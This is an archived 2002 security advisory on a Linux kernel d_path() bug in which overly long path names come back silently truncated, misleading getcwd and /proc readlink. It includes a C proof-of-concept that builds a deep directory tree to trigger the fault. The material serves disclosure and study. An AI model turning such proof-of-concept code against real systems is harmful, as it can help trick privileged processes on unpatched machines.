27th Mar 2002 [SBWID-5213]
COMMAND
d_path() truncating excessive long path name vulnerability
SYSTEMS AFFECTED
linux kernel up to 2.2.20 and 2.4.18
PROBLEM
Wojciech Purczynski from iSEC Security Research [http://isec.pl/] found
a bug in Linux kernel internal function d_path :
In case of excessively long path names d_path kernel internal function
returns truncated trailing components of a path name instead of an
error value. As this function is called by getcwd(2) system call and
do_proc_readlink() function, false information may be returned to
user-space processes.
d_path kernel function resolves a string of absolute path name of a
dentry passed as an argument to the function.
The path is a concatenation of subsequent path components starting from
trailing path component. The concatenated path name is stored into a
fixed-length buffer of PAGE_SIZE bytes.
If a dentry points to a path that exceeds PAGE_SIZE - 1 characters
length, leading path components are not written to the buffer and
function returns truncated path without an error value.
Because getcwd(2) system call uses d_path() function, it may return
invalid path to the user-space process. However, if a returned path is
longer than user-space buffer a correct error value is returned.
readlink(2) system call called on proc filesystem uses
do_proc_readlink() function which is also vulnerable to d_path() bug.
Impact:
=======
Privileged process may be tricked to think it is inside of arbitrary
directory. Other scenarios are possible if readlink() is used on files
on proc filesystem (like \"/proc/self/exe\").
/*
* 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
*
* Bug found by cliph
*/
#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>
/*
* Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for
* trailing \'\\0\'
*/
#define PATH_COMPONENT \"123456789abcdef\"
void err(char * msg)
{
if (errno) {
perror(msg);
exit(1);
}
}
int main()
{
char buf[PATH_MAX + 1]; /* think of trailing \'\\0\' */
int len;
errno = 0;
chdir(_PATH_TMP);
err(\"chdir\");
/* show CWD before exploiting the bug */
getcwd(buf, sizeof(buf));
err(\"getcwd #1\");
fprintf(stderr, \"CWD=%.40s\\n\", buf);
/* creating long directory tree - it must exceed PATH_MAX characters */
for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
errno = 0;
mkdir(PATH_COMPONENT, 0700);
if (errno != EEXIST)
err(\"mkdir\");
errno = 0;
chdir(PATH_COMPONENT);
err(\"mkdir\");
}
/* show CWD before exploiting the bug */
getcwd(buf, sizeof(buf));
err(\"getcwd #1\");
fprintf(stderr, \"CWD=%.40s... [stripped]\\n\", buf);
return 0;
}
SOLUTION
Nothing yet.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH